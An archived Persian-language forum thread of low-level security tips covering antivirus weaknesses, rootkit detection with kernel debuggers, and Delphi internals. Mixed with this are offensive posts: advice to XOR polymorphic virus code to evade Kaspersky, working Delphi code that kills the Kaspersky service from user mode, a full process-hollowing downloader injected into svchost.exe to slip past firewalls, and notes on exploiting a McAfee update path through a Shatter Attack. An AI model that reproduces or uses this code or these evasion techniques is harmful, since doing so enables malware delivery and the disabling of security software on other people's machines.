PDA

View Full Version : TIP



Inprise
یک شنبه 23 اسفند 1383, 23:32 عصر
سلام؛

تو این تاپیک نکته ها یا جملات یا تجربه های فنی که میتونن در زمینه توسعه نرم افزارهای امنیتی ، کدهای سطح پائین ، حفاظت از نرم افزار و ...مفید باشن بنویسید . لزومی نداره مطالب ارائه شده در یک راستای به خصوص باشند لیکن باید بشه بین اونها و فضای این بخش ارتباط برقرار کرد .

Inprise
یک شنبه 23 اسفند 1383, 23:35 عصر
با تغییر Imagebase برنامه های دلفی به چیزی مانند 13140000 $ ( :evil2: ) دو کیلو بایت از حجم فایل خروجی کم خواهد شد .

:wise1:

Inprise
سه شنبه 25 اسفند 1383, 18:23 عصر
بین آنتی ویروسهای موجود ، فقط Kaspersky میتونه هر چهار Engine متداول Poly-VX موجود رو بشناسه . اگر قراره به هر دلیل ، کد Polymorphic ای با استفاده از موتورهای موجود منتشر کنید ، از مقادیر معتنابهی XOR برای کنتاکت پیدا نکردن با Kaspersky غفلت نورزید .

:wise2:

Inprise
سه شنبه 25 اسفند 1383, 18:28 عصر
آخرین نگارش ZoneAlarm Security Suite از Hook توابع سری ZW جلوگیری میکنه ؛ البته هنوز میتونید دنبال آدرس توابع بگردید اما حتی خوش شانس ترین آدم ، نمیتونه به گرفتن همیشگی جواب امیدوار باشه ؛

Inprise
سه شنبه 25 اسفند 1383, 19:47 عصر
Donut اولین PE Infector سازگار با دات نت بود . اگر میخواید در مورد Infection باینریهای دات نت مطالعه کنید ؛ سورس کدش رو پیدا کنید .

Inprise
سه شنبه 25 اسفند 1383, 23:42 عصر
اگر ZoneAlarm فایروال دارید ، قطعا" فایلی شبیه به این هم دارید : C:\WINDOWS\Internet Logs\safePrograms.xml ؛ میتونید با استفاده از حماقتهای بکار رفته در این فایل ، کمی Zone Labs رو شرمنده کنید .


:evil2:

Inprise
پنج شنبه 27 اسفند 1383, 04:30 صبح
آخرین به روز رسانی McAfee فایروال نتونسته کمک خاصی بکنه و همچنان Process Injection امکان پذیره .

Inprise
شنبه 06 فروردین 1384, 04:06 صبح
در حال حاضر فقط Kaspersky و Nod32 نسبت به تغییر OEP و برخی از روشهای EP Faking حساس هستند ؛ KAV Rocks ؛ :wise1:

Inprise
شنبه 06 فروردین 1384, 19:08 عصر
بررسیهای امروزم نشون میده هیچکدام از KAV ، Nod32 ، Zonealarm ، McAfee تابع ZwLoadDriver رو Hook نمیکنند ، فلذا بین یک روتکیت متداول کرنل مود ، و نصب بدون دردسر اون روی سیستم ( بدون مزاحمت AV ها ) فقط یک Hexed Packer و یک دبل کلیک روی فایل حاوی Payload فاصله است .

توضیح : تابع ZwLoadDriver تنها روتینی است که درایورها رو به حافظهء Non-Paged فراخوانی میکنه . AV های موجود امکان بررسی این فضای آدرسی رو ندارند و تا وقتی کنترلی روی این تابع وجود نداشته باشه ، در واقع حفاظ قابل ذکری در مقابل روتکیتها وجود نداره ؛ این ، در واقع ، واقعیتیه که الان وجود داره .

:sorry:

Inprise
چهارشنبه 10 فروردین 1384, 04:26 صبح
F-Secure مدتیه برنامه ای بنام BlackLight منتشر کرده که علی الظاهر بخوبی از پس برخی از Kernel Mode Rootkit ها بر میاد ، لیکن اولا یک آنتی ویروس نیست ، دوما" از لحاظ پردازش باینری به شدت کند و ضعیف است ( براحتی با دستکاری EP یکی از روتکیتهای معروف فریب اش دادم ) و سوما" فشار زیادی به سیستم تحمیل میکنه و قطعا" کاربرد دوره ای اش قابل توصیه نیست ؛ ولیکن بهر حال به عنوان ابزاری برای لابراتوار قابل احترام و شایسته تحسینه .

SysInternals هم مدتی قبل کد جالبی با عنوان Rootkit Revealer منتشر کرده که غیر از رایگان بودن ، مزیت خاصی نسبت به BlackLight نداره ؛ البته ویژگی هاش هم کمتره و سرعت مرور ش کمی بیشتر .

Inprise
یک شنبه 14 فروردین 1384, 03:15 صبح
یک دوست در Nod32 میگوید تصمیم جدی برای جلوگیری از Cra@ck نرم افزارها یا لااقل ایجاد امکانات بیشتر برای بازرسی تیم های جرم یابی رایانه ای بین توسعه گران ضد ویروسها به وجود آمده است . احتمالا" اولین قدم جلوگیری از امکان اجرای Loader ها و سپس افزون ترفندهائی برای جلوگیری از Patch شدن نرم افزارها خواهد بود .

بین AV های صاحبنام ، فعلا" ، فقط KAV کاربرد Loader های معروف را میشناسد .

Inprise
سه شنبه 16 فروردین 1384, 19:11 عصر
موتور ِ هیوریستیک ِ Nod32 انصافا" بی نظیره . کد مخربی که با UPX و تغییر دستی هدر و دو سه قسمت دیگهء فایل محافظت شده بود و برای سایر آنتی ویروسها ناشناس بود ، به عنوان یک تهدید بالقوه شناخته و معرفی شد .

:wise1:

Inprise
پنج شنبه 25 فروردین 1384, 23:26 عصر
مدتها قبل تروجانی رو دیده بودم که با Patch کردن MsGina ( مدیر دریافت اکانت کاربری ویندوز و انتقال اون به Auth Manager برای احراز هویت و ورود به محیط کاربری ) میتونست اکانت مدیر سیستم رو براحتی دریافت و برای نفوذگر ارسال کنه ؛ با جستجو در MSDN و بررسی همون تروجان تونستم یک DLL ساده بنویسم که بجای Patch کردن کتابخانهء مذکور ( و شاخ شدن برای AV ها ) بتونه فضای آدرسی msgina رو مانیتور و اکانت رو دریافت و لاگ کنه ؛ خیلی وقت از اون روزها گذشته و امروز ، در کمال تعجب موقع بررسی یک سیستم ، به چیز جالبی رسیدم :

<span dir=ltr>>
0:018!chkimg -d msgina
75844b98-75844b9c 5 bytes - MSGINA!WlxLoggedOutSAS
[ 55 8b ec 83 ec:e9 c1 11 2a 8c ]
5 errors : msgina (75844b98-75844b9c)</span>

یک روتکیت Kernel-Mode با استفاده از APC-overwrite دقیقا" همونکار رو انجام داده بود ؛ یاد ایامی که در گلشن ...

Inprise
پنج شنبه 25 فروردین 1384, 23:36 عصر
Redirection in Action :

<span dir=ltr>

kd> u 77f42737
ntdll!NtEnumerateKey:
77f42737 jmp globalc!HooksCanUnloadNow+0xc2e(10001da1)
77f4273c mov edx,0x7ffe0300</span>


حالا این 10001da1 که NtEnumerateKey به اون ریدایرکت شده ، چیه ؟

<span dir=ltr>
kd> lm f a 10001da1
start end module name
10000000 10029000 globalc 
C:\WINDOWS\system32\com\sserver\globalc.dll</span>

حالا این کتابخانهء غریبه داره چه میکنه ؟ چی هست اصولا؟

<span dir=ltr>

C:\>cd C:\WINDOWS\system32\com\sserver\

C:\WINDOWS\system32\Com\sserver>dir
10/03/2005 03:59 PM &lt;DIR> .
10/03/2005 03:59 PM &lt;DIR> ..
05/03/2005 02:43 PM 108,544 comine.exe
10/03/2005 03:59 PM 135,168 globalc.dll
10/03/2005 03:59 PM 32,064 npf.sys
10/03/2005 04:14 PM 1,418 rtkit.log
4 File(s) 277,194 bytes
2 Dir(s) 1,518,030,848 bytes free</span>

این در واقع همان روتکیت Kernel-Mode و کتابخانهء فعال اش روی UserLand است ؛ همین دموی کوچک نشان میدهد روتکیتها چطور با آلوده کردن توابع کرنل ، کلیهء فرآیندیهای امنیتی و اعتبارسنجی را مختل میکنند ؛

:)

Inprise
شنبه 27 فروردین 1384, 02:16 صبح
یک مثال برای کشف روتکیتهائی که از Hooking استفاده میکنن :
<span dir=ltr>

kd> !chkimg -d ntdll
77f42467-77f4246b 5 bytes - ntdll!ZwCreateFile</span>

و

<span dir=ltr>
kd> u 77f42467
ntdll!ZwCreateFile:
77f42467 e921240608 jmp 7ffa488d</span>


بدون شک روی آدرس 7ffa488d یکی از توابع روتکیت قابل مشاهده خواهد بود ؛ اگر روتکیت موفق شده باشه DLL ای به پروسهء مورد آزمایش Inject کنه ، ممکنه بجای jmp با ردیابی Call هم به Hooker برسیم ؛ با توجه به Tip قبلی ...

:)

Inprise
چهارشنبه 31 فروردین 1384, 03:09 صبح
2.6 ها دیگه system call table رو Export نمیکنند ؛ هیچکدام از روتکیتهای موجود که بصورت عمومی در دسترس اند سیستمی که به 2.6 ارتقاء داده شده باشه رو تهدید نمیکنند ؛

:wise1:

Inprise
چهارشنبه 31 فروردین 1384, 03:16 صبح
درایورهای سطح کرنل فقط اگر هنگام فرآیند بوت فراخوانی بشن ( یعنی دقیقا" قبل از SMSS.exe ) میتونن یک پروسه User-Mode رو با استفاده از RtlCreateUserProcess بسازند ؛ پس ، برای یک Rootkit Detector کافیه که هنگام فراخوانی اولیه ویندوز ، ارجاعات به RtlCreateUserProcess رو بررسی کنه و در سایر مواقع APC ها رو ؛ مورد دوم رو هر سه روتکیت دتکتور موجود انجام میدن ، اما تا بحال برای مورد اول کد ِ منتشر شده ای ندیدم ؛ از اونجائیکه اغلب روتکیتهای موجود ( که اکثریت قریب به اتفاق روتکیتهای فعال از یک نسخهء دستکاری شدهء اونها استفاده میکنن ) از یک درایور سطح کرنل که هنگام فراخوانی اولیه وارد حافظه میشه استفاده میکنن ، برام بسیار عجیب بود که چرا تا بحال از این Trick ساده برای کشف وجود روتکیت استفاده نشده ؛

Inprise
دوشنبه 05 اردیبهشت 1384, 01:00 صبح
kernel32.dll ImageBase

Windows 2000 SP4
79430000H

Windows XP SP1
77E60000H

Windows XP SP2
7C000000H

Inprise
چهارشنبه 14 اردیبهشت 1384, 01:58 صبح
برای کسب اطلاع از نسخه و نگارش و سرویسپک و ... ویندوز بجای استفاده از PsGetVersion یا RtlGetVersion یا RtlQueryRegistryValues ( روی Ring0‌ ) میشه از ساختار KUSER_SHARED_DATA که ( روی XP و 2K3 ی خودم لااقل ) همیشه از آدرس 0xFFDFF000 کرنل به بعد موجود است ، استفاده کرد . یک ضرب المثل قدیمی ایتالیائی هست که میگه Kamtar API Callo - More LifeTime Rootkitto

:wise1:

UnREal
چهارشنبه 14 اردیبهشت 1384, 08:46 صبح
Dear Inprise
Hi,
Thanks for the Info.
But why don't you talk about the Onlt Antivirus we have in IRAN

I mean IMEN ANTIVIRUS

I'm really curious to know about the abilities of this AV.

I hope you can provide some information.
Regards,
Unrea.

Inprise
پنج شنبه 15 اردیبهشت 1384, 00:53 صبح
Dear Inprise
Hi,
Thanks for the Info.
But why don't you talk about the Onlt Antivirus we have in IRAN

I mean IMEN ANTIVIRUS

I'm really curious to know about the abilities of this AV.

I hope you can provide some information.
Regards,
Unrea.

به این نرم افزار و سایر نرم افزارهای معروف ایرانی دسترسی ندارم ؛

-

Remote Debugging مهمترین ویژگی افزوده شده به IDA 4.8 بلا اغراق بی نظیره . سرورهاش از ویندوزهای 32 و 64 بیتی و لینوکس 32 بیت حمایت میکنند . کافیه سرویس مورد نظر رو اجرا کنید تا بتونید همزمان دیباگ و Disassemble روی Target انجام بدید .

:)

Inprise
پنج شنبه 22 اردیبهشت 1384, 23:52 عصر
امروز موفق شدم با Virtual Server 2005 SP1 انتشار نهائی Windows XP - 64 Bit رو یک سیستم معمولی 32 بیت نصب و اجرا کنم ؛ خیلی جالبه که ویندوز 64 بیتی هنوز از بعضی از کتابخانه های 32 بیتی استفاده میکنه .

Inprise
چهارشنبه 28 اردیبهشت 1384, 02:19 صبح
بالاخره تونستم روی Ring3 سرویس KAspersky رو Terminate کنم ؛ :wise1:


Function DebugKillProcess&#40;ProcessId&#58; dword&#41;&#58; boolean;
var
pHandle&#58; dword;
myPID&#58; dword;
HandlesInfo&#58; PSYSTEM_HANDLE_INFORMATION_EX;
r&#58; dword;
begin
Result &#58;= false;
myPID &#58;= GetCurrentProcessId&#40;&#41;;
if not EnableDebugPrivilege&#40;&#41; then Exit;
if DbgUiConnectToDbg&#40;&#41; &lt;> STATUS_SUCCESS then Exit;
pHandle &#58;= OpenProcessEx&#40;ProcessId&#41;;
if DbgUiDebugActiveProcess&#40;pHandle&#41; &lt;> STATUS_SUCCESS then Exit;
HandlesInfo &#58;= GetInfoTable&#40;SystemHandleInformation&#41;;
if HandlesInfo = nil then Exit;
for r &#58;= 0 to HandlesInfo^.NumberOfHandles do
if &#40;HandlesInfo^.Information&#91;r&#93;.ProcessId = myPID&#41; and
&#40;HandlesInfo^.Information&#91;r&#93;.ObjectTypeNumber = $8&#41;
then begin
CloseHandle&#40;HandlesInfo^.Information&#91;r&#93;.Handle&#41;;
Result &#58;= true;
break;
end;
VirtualFree&#40;HandlesInfo, 0, MEM_RELEASE&#41;;
end;


DebugKillProcess&#40;GetProcessId&#40;'kavmm.exe'&#41;&#41;;

با اینکه بقیه آنتی ویروسها ارزش صرف چنین وقت ی رو ندارند لیکن روی F-Secure و MCAfee هم جواب داد ؛ احتمالا" بر و بچه های KAV باید یک دوجین API دیگه رو هم به لیست Interceptor شون اضافه کنند ، چون لغو عملکرد ExitProcess و ZwTerminateProcess به تنهائی مشکلی رو حل نمیکنه .

:wise2:

Inprise
چهارشنبه 28 اردیبهشت 1384, 02:32 صبح
این کد رو با اسمبلی/دلفی مدتها قبل برای استفاده های شخصی ام نوشتم ؛ ایده اش هم مال خودم نیست البته . یکی از رفقا یک چیزی مثل همین میخواست من هم همینجا منتشرش میکنم شاید به درد بقیه هم بخوره . یک Web Downloader ساده است ، با ذکر این نکته که توی فضای آدرسی Svchost زندگی میکنه و بعضی از فایروالهای نسبتا" احمق رو فریب میده ؛ توضیح بیشتری نمیخواد . بهتره بجای Copy/Paste از ایده و روش استفاده کنید :wise2:


program inpywebload;

uses
Windows, WinSock;

&#123;$IMAGEBASE $13140000&#125;

Function MyPos&#40;Substr, Str&#58; PChar&#41;&#58; dword; stdcall;
asm
mov eax, Substr
mov edx, str
test eax, eax
je @noWork
test edx, edx
je @stringEmpty
push ebx
push esi
push edi
mov esi, eax
mov edi, edx
push eax
push edx
call lstrlen
mov ecx, eax
pop eax
push edi
push eax
push eax
call lstrlen
mov edx, eax
pop eax
dec edx
js @fail
mov al, &#91;esi&#93;
inc esi
sub ecx, edx
jle @fail

@loop&#58;
repne scasb
jne @fail
mov ebx, ecx
push esi
push edi
mov ecx, edx
repe cmpsb
pop edi
pop esi
je @found
mov ecx, ebx
jmp @loop

@fail&#58;
pop edx
xor eax, eax
jmp @exit

@stringEmpty&#58;
xor eax, eax
jmp @noWork

@found&#58;
pop edx
mov eax, edi
sub eax, edx

@exit&#58;
pop edi
pop esi
pop ebx

@noWork&#58;
end;

Function MyCopy&#40;S&#58;PChar; Index, Count&#58; Dword&#41;&#58; PChar; stdcall;
asm
mov eax, Count
inc eax
push eax
push LPTR
call LocalAlloc
mov edi, eax
mov ecx, Count
mov esi, S
add esi, Index
dec esi
rep movsb
end;

procedure MyCopyMemory&#40;Destination&#58; Pointer; Source&#58; Pointer; Length&#58; DWORD&#41;;
asm
push ecx
push esi
push edi
mov esi, Source
mov edi, Destination
mov ecx, Length
rep movsb
pop edi
pop esi
pop ecx
end;


Function DownloadFile&#40;Address&#58; PChar; var ReturnSize&#58; dword&#41;&#58; pointer;
var
Buffer&#58; pointer;
BufferLength&#58; dword;
BufferUsed&#58; dword;
Bytes&#58; integer;
Header&#58; PChar;
Site&#58; PChar;
URL&#58; PChar;
FSocket&#58; integer;
SockAddrIn&#58; TSockAddrIn;
HostEnt&#58; PHostEnt;
Str&#58; PChar;
WSAData&#58; TWSAData;
hHeap&#58; dword;
begin
Result &#58;= nil;
hHeap &#58;= GetProcessHeap&#40;&#41;;
WSAStartup&#40;257, WSAData&#41;;
Site &#58;= MyCopy&#40;Address, 1, MyPos&#40;'/', Address&#41; - 1&#41;;
URL &#58;= MyCopy&#40;Address, MyPos&#40;'/', Address&#41;, lstrlen&#40;Address&#41; - MyPos&#40;'/', Address&#41; + 1&#41;;
Buffer &#58;= HeapAlloc&#40;hHeap, 0, 1024&#41;;
try
BufferLength &#58;= 1024;
BufferUsed &#58;= 0;
FSocket &#58;= socket&#40;PF_INET, SOCK_STREAM, IPPROTO_TCP&#41;;
SockAddrIn.sin_family &#58;= AF_INET;
SockAddrIn.sin_port &#58;= htons&#40;80&#41;;
SockAddrIn.sin_addr.s_addr &#58;= inet_addr&#40;Site&#41;;
if SockAddrIn.sin_addr.s_addr = INADDR_NONE then
begin
HostEnt &#58;= gethostbyname&#40;Site&#41;;
if HostEnt = nil then Exit;
SockAddrIn.sin_addr.s_addr &#58;= Longint&#40;PLongint&#40;HostEnt^.h_addr_list^&#41;^&#41;;
end;
if Connect&#40;FSocket, SockAddrIn, SizeOf&#40;SockAddrIn&#41;&#41; = -1 then Exit;
Str &#58;= HeapAlloc&#40;hHeap, 0, 1024&#41;;
lstrcpy&#40;Str, 'GET '&#41;;
lstrcat&#40;Str, URL&#41;;
lstrcat&#40;Str, ' HTTP/1.0'#10#13'Host&#58; '&#41;;
lstrcat&#40;Str, Site&#41;;
lstrcat&#40;Str, #13#10'Connection&#58; close'#13#10#13#10&#41;;
send&#40;FSocket, Str^, lstrlen&#40;Str&#41;, 0&#41;;
HeapFree&#40;hHeap, 0, Str&#41;;
repeat
if BufferLength - BufferUsed &lt; 1024 then
begin
Inc&#40;BufferLength, 1024&#41;;
Buffer &#58;= HeapReAlloc&#40;hHeap, 0, Buffer, BufferLength&#41;;
end;
Bytes &#58;= recv&#40;FSocket, pointer&#40;dword&#40;Buffer&#41; + BufferUsed&#41;^, 1024, 0&#41;;
if Bytes > 0 then Inc&#40;BufferUsed, Bytes&#41;;
until &#40;Bytes = 0&#41; or &#40;Bytes = SOCKET_ERROR&#41;;
Header &#58;= MyCopy&#40;Buffer, 1, MyPos&#40;#13#10#13#10, Buffer&#41; + 3&#41;;
ReturnSize &#58;= BufferUsed - lstrlen&#40;header&#41;;
Result &#58;= VirtualAlloc&#40;nil, ReturnSize, MEM_COMMIT or
MEM_RESERVE, PAGE_EXECUTE_READWRITE&#41;;
if Result = nil then Exit;
MyCopyMemory&#40;Result, pointer&#40;dword&#40;Buffer&#41; + lstrlen&#40;header&#41;&#41;, ReturnSize&#41;;
finally
HeapFree&#40;hHeap, 0, Buffer&#41;;
end;
end;

Procedure Download&#40;&#41;; stdcall;
const
URL &#58; PChar = 'barnamenevis.org/mysoul.mp3';
var
Buff&#58; pointer;
Size&#58; dword;
Bytes&#58; dword;
dFile&#58; dword;
begin
LoadLibrary&#40;'wsock32.dll'&#41;;
Buff &#58;= DownloadFile&#40;URL, Size&#41;;
dFile &#58;= CreateFile&#40;'c&#58;\inpyinvoice.mp3', GENERIC_WRITE, 0, nil, CREATE_NEW, 0, 0&#41;;
WriteFile&#40;dFile, Buff^, Size, Bytes, nil&#41;;
CloseHandle&#40;dFile&#41;;
ExitProcess&#40;0&#41;;
end;


var
St&#58; TStartupInfo;
Pr&#58; TProcessInformation;
InjectSize&#58; dword;
Code&#58; pointer;
Injected&#58; pointer;
BytesWritten&#58; dword;
Context&#58; _CONTEXT;

begin
ZeroMemory&#40;@St, SizeOf&#40;TStartupInfo&#41;&#41;;
St.cb &#58;= SizeOf&#40;TStartupInfo&#41;;
St.wShowWindow &#58;= SW_SHOW;
CreateProcess&#40;nil, 'svchost.exe', nil, nil, false,
CREATE_SUSPENDED, nil, nil, St, Pr&#41;;
Code &#58;= pointer&#40;GetModuleHandle&#40;nil&#41;&#41;;
InjectSize &#58;= PImageOptionalHeader&#40;pointer&#40;integer&#40;Code&#41; +
PImageDosHeader&#40;Code&#41;._lfanew +
SizeOf&#40;dword&#41; +
SizeOf&#40;TImageFileHeader&#41;&#41;&#41;.SizeOfImage;
Injected &#58;= VirtualAllocEx&#40;Pr.hProcess, Code, InjectSize, MEM_COMMIT or
MEM_RESERVE, PAGE_EXECUTE_READWRITE&#41;;
WriteProcessMemory&#40;Pr.hProcess, Injected, Code, InjectSize, BytesWritten&#41;;
Context.ContextFlags &#58;= CONTEXT_FULL;
GetThreadContext&#40;Pr.hThread, Context&#41;;
Context.Eip &#58;= dword&#40;@Download&#41;;
SetThreadContext&#40;Pr.hThread, Context&#41;;
ResumeThread&#40;Pr.hThread&#41;;
end.

Inprise
چهارشنبه 28 اردیبهشت 1384, 03:01 صبح
OEP برنامه های نوشته شده با دلفی عموما" یک چیزی ست تو این مایه :


&#58;0041A1FC 55
&#58;0041A1FD 8BEC

http://img279.echo.cx/img279/2979/ebp6io.jpg

( تغییر دادنش بدون دستکاری کد واقعا" ساده است ؛ اما موضوع این پست نیست ) اما چرا ؟ اگر به یونیت SysInit که وظایف مقدماتی برپائی محیط اجرای برنامه رو بر عهده داره نگاه کنید چند تابع جالب خواهید دید :


procedure _ InitLib;
procedure _ InitExe;

و اگر به پیاده سازی روتین _InitExe نگاه کنید :


<span dir=ltr>
procedure _InitExe;
asm

PUSH EAX
PUSH 0
CALL GetModuleHandle
MOV EDX,offset Module
PUSH EDX
MOV HInstance,EAX
MOV [EDX].TLibModule.Instance,EAX
MOV [EDX].TLibModule.CodeInstance,0
MOV [EDX].TLibModule.DataInstance,0
CALL InitializeModule
POP EDX
POP EAX

CALL _StartExe
end;</span>

فکر میکنم حالا همه میتونن با تغییر SysInit به چیزی که میخوان ( OEP های عجیب و غریب و البته Fake‌) برسن :wise1:

مهدی کرامتی
چهارشنبه 28 اردیبهشت 1384, 03:38 صبح
فکر میکنم حالا همه میتونن با تغییر SysInit به چیزی که میخوان ( OEP های عجیب و غریب و البته Fake‌) برسن
ممکنه یک مثال عملی بزنی؟

Inprise
پنج شنبه 29 اردیبهشت 1384, 00:17 صبح
دو تا NOP به روتین مذکور یا دو سه روتین ی که چنین وظایفی دارند اضافه کن و دوباره RTL رو کامپایل کن

http://img274.echo.cx/img274/579/haji16ri.jpg

http://img274.echo.cx/img274/8135/haji27ap.jpg

برای نیل به مقصود باید به سورس کامل VCL دسترسی داشته باشی ؛ ایضا" این روند وقتگیر و کند است و ممکنه در صورت خطا یا دستکاری های قبلی یا استفاده از ابزارهای ثالثی که تغییرات به خصوصی ایجاد کرده باشند با عدم موفقیت همراه باشه ؛ در مجموع روشهای ساده تری هم هست که بعدا" در موردشون مینویسم

Inprise
شنبه 31 اردیبهشت 1384, 04:31 صبح
این روزها تا فرصت ی پیدا بشه - خصوصا موقع نهار و شام - مشغول خواندن کتاب Code Optimization : Effective Memory Usage از کریس کسپراسکای هستم ؛ کتاب قبلی ش یعنی Hacker Disassembler هم انصافا" بی نظیر بود و قاعدتا" کتاب بعدی ش یعنی Debugger Revealed هم همینطور خواهد بود . کسانی که به این مباحث علاقه دارن قطعا" از مطالعه شون پشیمان نخواهند شد :wise2:

http://img126.echo.cx/img126/9827/code8is.gif

<span dir=ltr>
A guide to optimizing programs on the PC and Unix platforms, this book covers the expediency of optimization and the methods to increase the speed of programs via optimization. Discussed are typical mistakes made by programmers that lessen the performance of the system along with easily implemented solutions. Detailed descriptions of the devices and mechanism of interaction of the computer components, effective ways of programming, and a technique for optimizing programs, are provided. Programmers will also learn how to effectively implement programming methods in a high-level language that is usually done in assembler with particular attention given to the RAM subsystem. The working principles of the RAM and the way in which it is coupled with the processor as well as a description of programming methods that allows programmers to overclock the memory to reach maximum performance are included. </span>

jirjirakk
شنبه 31 اردیبهشت 1384, 08:07 صبح
آف تاپیک : :flower: تشکر :kiss:

Inprise
پنج شنبه 05 خرداد 1384, 00:17 صبح
<span dir=ltr>kd> dt nt!_HANDLE_TABLE
+0x000 TableCode : Uint4B
+0x004 QuotaProcess : Ptr32 _EPROCESS
+0x008 UniqueProcessId : Ptr32 Void
+0x00c HandleTableLock : [4] _EX_PUSH_LOCK
+0x01c HandleTableList : _LIST_ENTRY
+0x024 HandleContentionEvent : _EX_PUSH_LOCK
+0x028 DebugInfo : Ptr32 _HANDLE_TRACE_DEBUG_INFO
+0x02c ExtraInfoPages : Int4B
+0x030 FirstFree : Uint4B
+0x034 LastFree : Uint4B
+0x038 NextHandleNeedingPool : Uint4B
+0x03c HandleCount : Int4B
+0x040 Flags : Uint4B
+0x040 StrictFIFO : Pos 0, 1 Bit</span>

با بررسی تک تک رکوردهای _LIST_ENTRY تمام پروسه های فعال سیستم ، اعم از پنهان و آشکار قابل مشاهده هستند ؛ حداقل هیچگدام از روتکیتهائی که شخصا" تست شون کردم به این ویژگی دست نمیزنند . به نظرم میرسه دور نیست زمانی که راه حلهای امنیتی نسل بعدی آنتی ویروسها به دیباگر و Disassembler های داخلی برای انجام وظایفشون مجهز بشن ؛ Funny‌ ؛

:wink:

Inprise
یک شنبه 08 خرداد 1384, 04:10 صبح
امروز هنگام اعمال تغییرات متعدد روی کد یکی از برنامه هام ، و به محض فشردن کلید F5 با پیام خطای ویژوال استودیو مواجه شدم که مدعی بود خطای Sharing Violation باعث میشه نتونم بصورت خودکار فایلم رو ذخیره و کامپایل کنم . خوب من حداقل برای نیمی از روز در حال کار کردن روی این کد و ذخیره و کامپایل اون بودم و برنامه دیگری رو اجرا نکرده بودم . بعد از یک بررسی سریع به لطفا Process Explorer متوجه شدم دو هندل فعال از فایلم توسط دو سرویس جستجوی محلی روی دیسک ( گوگل دسکتاپ سرچ و ام اس ان لوکال ایندکس ) وجود داره و نرم افزارهای احمق فوق الذکر پس از توجه به تغییرات مداوم روی یک فایل به ری-ایندکس اون مبادرت ورزیدند و طی این مدت ، بخاطر نوع فراخوانی فایل و دریافت هندل ، امکان تغییر و اعمال تغییر در اون فایل وجود نداشت ...

:sorry:

قبل از هر چیز دو عدد فحش به توسعه گران کند ذهن هر دو برنامه تقدیم داشته ، بر آن شدم که سیستم رو از وجود منحوس این دو باگ تطهیر کنم ؛ لیکن قبل از اون به نظرم رسید ، به نحوهء فرخوانی فایل و ری-ایندکس گوگل دسکتاپ سرچ نگاهی بندازم و در کمال ناباوری یک فرمت استرینگ باگ رو زیارت کردم که Exploitation اون "ممکنه" بتونه منجر به افزایش مجوز دسترسی تا حد کاربر اجرا کنندهء سرویس گوگل سرچ بشه ، و البته ممکنه اینطور نباشه . نمیدونم در مورد این مورد کار بیشتری خواهم کرد یا خیر ، لیکن میدونم گرفتن پول در مقابل تحویل دادن این قطعات آشغال نرم افزاری به مدیران تیمهای نرم افزاری ، فقط میتونه از پس یک سری آدم اصل ِ دودر و بیسواد بر بیاد .

:sorry:

http://img268.echo.cx/img268/6367/19ox.jpg

http://img268.echo.cx/img268/9496/26uu.jpg

Inprise
چهارشنبه 11 خرداد 1384, 01:32 صبح
با یک بررسی آماری روی آنتی ویروسهائی که کاربردهای گسترده و بعضا" سازمانی دارن به نتایج جالبی رسیدم :

- نورتون : بیش از سه نقطه ضعف در شناسائی انواع فایلها از طریق بررسی هدر فایل
آخرین مورد : Heap Overrun هنگام بررسی هدر فایلهای فشرده شده با UPX
-مک آفی : بیش از پنج نقطه ضعف در شناسائی انواع فایلها از طریق ...
آخرین مورد : Stack Overrun هنگام بررسی نام ثبت شده از فایل در هدر
- ترندمیکرو : بیش از سه نقطه ضعف در شناسائی انواع فایلها...
آخرین مورد : یک Kernel Heap Overrun دقیقا" مانند نسخهء UserMode نقطه ضعف مک آفی
-اف سکیور : دو نقطه ضعف در شناسائی انواع فایلها از طریق ...
آخرین مورد : Heap Overrun هنگام بررسی طول نام فایل
و ...

گزارش مفصلی شد ؛ نتیجه اش تجاریه و قابل انتشار نیست لیکن درک ارتباط معنی دار این داده ها چنان دشوار نیست ؛ یه ضرب المثل قدیمی ایتالیائی میگه : آدمها اغلب مثل هم اشتباه میکنن ؛

:wise2:

Inprise
دوشنبه 16 خرداد 1384, 03:21 صبح
اسلایدهای جالبی در مورد روشهای به روز رسانی آنتی ویروسها (http://www.av-test.org/down/papers/2004-11_avar_2004.zip)

-

بعد از یک بررسی ساده و آزمایش مک آفی فهمیدم مک آفی هم نسبت به Shatter Attack آسیب پذیر است و اگر این نقیصه رو در کنار ارسال مستقیم اسکریپتهای آپدیتش به شل بگذاریم ، میتونیم با یک اکانت کاربری سطح پائین که به یکی از پنجره های اصلی مک آفی دسترسی دارد ، درست وقتی عمل آپدیت در حال انجامه ، اسکریپت آلودهء خودمون رو به شل بفرستیم .

توضیح یک : Shatter Attack محصول نقص معماری ویندوز است . تو با یک اکانت کاربری سطح پائین حق داری برای کنترل رابط کاربری برنامه ای که با مجوز بالاتری اجرا میشه پیام ( Windows Message‌ ) ارسال کنی .

ارسال مستقیم و Plain Text اسکریپت آپدیت مک آفی به شل فوق العاده احمقانه به نظر میرسه ؛ یعنی چه کسانی این آنتی ویروس رو توسعه میدن ؟

توضیح دو : روش KAV جالب بود .

:)

Inprise
یک شنبه 22 خرداد 1384, 01:05 صبح
http://www.star-force.com/protection.phtml?c=102

Inprise
دوشنبه 30 خرداد 1384, 02:49 صبح
شاید این بتونه جمع بندی کاملی باشه که :

- تا وقتی از توابع سطح کاربری مانند ReadFile استفاده میکنی حتی یک روتکیت ساده سطح کاربر با API Hooking و Redirection اشاره گر میتونه خودش رو پنهان کنه

- تا وقتی از توابع سطح کرنلی مانند ZwReadFile استفاده میکنی یک روتیکت سطح کرنل نه چندان پیشرفته میتونه با Kernel Hooking یا بررسی Kernel Object های فراخوانده شده به حافظه و دستکاری اونها خودش رو مخفی کنه

- تا وقتی از IRP و توابع درایوهای سطح پائین مانند درایور دیسک سخت استفاده میکنی روتیکهای نسبتا" خوب سطح کرنل میتونن با IRP Hooking/Filtering درخواستها رو مشاهده و در صورت تمایل محتویات اونها رو تغییر بدن و باز هم مخفی بمونن

- و ...احتمالا" آخرین راهی که برای شناسائی روتیکتهای خفن و حرفه ای باقی میمونه ، ارتباط مستقیم با سخت افزار است ، مثلا" اتصال مستقیم به کنترلر دیسک سخت ؛ و این یعنی ارسال مستقیم دستورات زبان ماشین به کنترلر و پردازش پاسخها ، ایضا" به معنای لزوم شناسائی کامل عملکرد فایل سیستم و ... ؛

